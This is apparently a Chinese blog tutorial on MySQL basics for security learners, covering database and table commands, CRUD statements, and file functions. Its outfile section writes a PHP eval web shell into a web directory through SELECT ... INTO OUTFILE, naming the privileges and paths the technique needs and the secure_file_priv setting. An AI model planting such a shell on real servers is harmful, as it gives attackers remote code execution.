數據庫在安全方面實用基礎學習

數據庫

關係型數據庫

關係數據庫,是建立在關係模型基礎上的數據庫,藉助於集合代數等數學概念和方法來處理數據庫中的數據。
當前主流的關係型數據庫有Oracle、DB2、PostgreSQL、Microsoft SQL Server、Microsoft Access、MySQL、浪潮K-DB等。

SQL(Structured Query Language)語言是1974年由Boyce和Chamberlin提出的一種介於關係代數與關係演算之間的結構化查詢語言,是一個通用的、功能極強的關係性數據庫語言。

數據庫的創建

1.mysql –h localhost –u root -p
-h是指定主機名或IP
-u 指定用戶
-p 指定要輸入密碼
2.我們可以使用show databases查看原本有哪些數據庫避免重複
3.創建數據庫CREATE DATABASE 數據庫名;
4.刪除數據庫DROP DATABASE 數據庫名;
5.打開數據庫USE 數據庫名;
6.查看當前所用的數據庫select database();
7.查看當前數據庫想表名:show tables;
8.查看指定表結構: desc 表名

Mysql的數據類型

很清楚,可以直接看看
來自菜鳥教程

表結構的操作

創建數據表
CREATE TABLE [表名]([字段名] [字段類型]([字段要求]) [字段參數], ......);
更改數據表 
ALTER TABLE [表名] ADD COLUMN [字段名] DATATYPE
ALTER TABLE [表名] ADD PRIMARY KEY ([字段名])
說明:更改表的定義把某個欄位設爲主鍵。
TABLE [表名] DROP PRIMARY KEY ([字段名])
顯示ALTER當前表字段:show columns from tablename;

修改字段名:alter table user change name username varchar(50);
Add:id是主鍵也是自增類型
1.
在這裏插入圖片描述
2.
在這裏插入圖片描述

3.在這裏插入圖片描述

增刪改查

添加:INSERT INTO [表名] VALUES('','',......順序排列的數據);
查詢: SELECT * FROM [表名] WHERE ([條件]);
刪除:DELETE FROM [表名] WHERE ([條件]);
修改:UPDATE [表名] SET [修改內容如name = 'chabug'] WHERE [條件];

常用函數

database() user() version()

在這裏插入圖片描述

LOAD_FILE

windows 下mysql loadfile 返回NULL的解決

ADD:windows 下mysql loadfile 返回NULL的解決
在這裏插入圖片描述

dumpfile

select unhex(‘十六進制字符串’) into dumpfile ‘路徑’
select “字符串” into dumpfile ‘路徑’
在這裏插入圖片描述

outfile

select’<?php @eval($_POST[chabug]);?>'INTO OUTFILE '路徑’
在這裏插入圖片描述

關於dumpfile與outfile的共性異性

限制條件:
1)需要知道Web目錄的絕對路徑。
2)需要mysql用戶有file權限,file權限限制在MySQL服務器上讀寫文件。grant file on . to root@localhost;
3)因爲執行時以mysql用戶去執行,所以mysql用戶需要有Web目錄的寫權限。

限制條件:
dumpfile只能導出一行。
可執行2進制文件用into outfile函數導出,導出後就會被破壞

TIPS(一定要關注Mysql不同版本的特性!!!)

MySQL不能寫入文件原因,可能是MYSQL新特性secure_file_priv對讀寫文件的影響:
查看配置項:SHOW VARIABLES LIKE "secure_file_priv“
如果查到了secure_file_priv的值,再執行下列命令就可以寫入文件了:
select 123 into outfile '/var/lib/mysql-files/test1.txt ’
限制mysqld 不允許導入 | 導出:
mysqld --secure_file_prive=null
限制mysqld 的導入 | 導出 只能發生在/tmp/目錄下:
mysqld --secure_file_priv= “/tmp/”
不對mysqld 的導入 | 導出做限制:
[mysqld]
secure_file_priv=

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章